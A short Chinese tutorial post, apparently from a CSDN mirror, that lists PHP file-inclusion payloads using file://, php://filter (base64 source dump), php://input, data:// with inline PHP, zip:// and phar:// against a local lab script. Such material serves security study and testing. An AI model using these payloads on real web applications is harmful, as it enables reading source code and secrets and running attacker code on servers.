首页 > 编程语言 >文件包含PHP伪协议利用方法

文件包含PHP伪协议利用方法

时间:2024-09-03 18:52:02浏览次数:13  
标签:文件 php 包含 协议 cmd 123 file txt PHP

1.file://协议

使⽤: file:// ⽂件的绝对路径和⽂件名 2.php?cmd=file://D:\phpstudy_pro\WWW\123.txt

2.php://filter协议

⽤途:常⽤于读取⽂件 / 源码 2.php?cmd=php://filter/read=convert.base64-encode/resource=1.php

3.php://input协议

步骤一:2.php?cmd=php://input抓包

步骤二:右键修改请求方法,修改数据包

步骤三:放行访问

4.data:// 协议

⽤途:数据( RFC2397 ) 2.php?cmd=data:text/plain,<?php phpinfo();?>

5.zip://协议

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径) 2.php?cmd=zip://123.zip%23123.txt

6.phar://协议

⽤途:读取压缩包内的⽂件(绝对路径 / 相对路径) 2.php?cmd=phar://123.zip/123.txt

标签:文件,php,包含,协议,cmd,123,file,txt,PHP
From: https://blog.csdn.net/shw_yzh/article/details/141868895

相关文章

  • 多模块项目中,模块的某个类的主方法和测试方法,他们文件访问的相对路径的根目录不同
    遇到问题在编写某个多模块项目的某个类时,在方法中使用Properties读取配置文件,出现的错误。这里假定项目名为project,模块名为modular。importorg.junit.Test;importjava.io.File;importjava.io.FileInputStream;importjava.io.IOException;importjava.util.Properties......
  • ant design vue 上传文件自定义上传,并发上传文件、取消上传、重新上传
    antdesignvue上传文件组件<a-upload-draggerv-model:fileList="fileList":accept="accept":beforeUpload="beforeUploadFile"class="upload-btn":headers="headers"multiple@change="ha......
  • 【ELF系列】一文手撕ELF文件
    一、ELF文件是什么二、ELF可重定位文件2.1.shstrtab和.strtab2.2.rel.text和.symtab2.3.text节三、ELF可执行文件四、参考原创嵌入一下?谦益行在一文了解ECU软件刷写文件HEX和S19格式(qq.com)中介绍汽车控制器的刷写软件的格式,不管是编译生成的目......
  • PHP 代码示例 拷贝文件夹目录下的所有子目录及文件到另一个文件夹目录
    PHP 拷贝文件夹目录下的所有子目录及文件到另一个文件夹目录:调用示例:$srcFolder="C:/www/upload/src";$dstFolder="C:/www/upload/dst";$this->recurseCopy($srcFolder,$dstFolder);functionrecurseCopy($src,$dst){$dir=o......
  • Openwrt中挂载NTFS格式USB硬盘无法正常显示中文目录及文件的解决办法
    在试图挂载硬盘使用alist作视频站的时候,我发现Openwrt访问自动挂载上的USB硬盘目录时,只能看得到英文的目录和文件。这就是固件自动挂载不太灵光的地方了自动挂载是Openwrt导航栏-系统-挂载点的[自动挂载磁盘]选项与[挂载已连接的设备]按钮。平常不想动手敲命令的时候固然很方便,但......
  • 人工智能大语言模型技术发展研究报告(2024年)|附49页PDF文件下载
    前言人工智能作为引领新一轮科技产业革命的战略性技术和新质生产力重要驱动力,正在引发经济、社会、文化等领域的变革和重塑,2023年以来,以ChatGPT、GPT-4为代表的大模型技术的出台,因其强大的内容生成及多轮对话能力,引发全球新一轮人工智能创新热潮,随着大模型技术演进、产品迭代日新......
  • Flink 配置文件的深度解读
    Flink配置文件的深度解读目标通过了解FApacheFlink的配置文件(flink-conf.yaml),掌握Flink正确用法能快速定位生产环境问题以及做好生产实践的规划Flink配置文件的深度解读,包括各个配置项的意义和作用,以及它们的默认值。Flink配置文件概述Flink配置文件(fl......
  • Python的10个文件对比与合并高效策略
    文末赠免费精品编程资料~~在日常编程或数据分析工作中,经常需要处理多个文件的对比与合并任务。Python因其强大的文件处理能力和丰富的库支持,成为了处理这类任务的理想选择。下面,我们将逐步探索10种高效的文件对比与合并策略,每一步都配有详细的代码示例和解释。1.基础文件读......
  • PbootCMS 后台常用文件修改路径位置
    在PbootCMS中,后台常用文件通常保存在 apps\admin\view\default 目录中。以下是常用的几个文件及其路径,这些文件在使用过程中可能需要修改一些文字内容。以下是具体的文件路径和用途说明:1.登录页页面修改文件路径:plaintext apps\admin\view\default\index.html用途......
  • php 把文件加入到现有的zip压缩包中
    //指定要添加的文件和已有的压缩包名称$fileToAdd=public_path().'pdffile/file1.txt';//要添加的文件$zipFileName=public_path().'pdfzip/archive.zip';//已有的压缩包名称//创建一个新的ZIP档案对象$zip=newZipArchive();......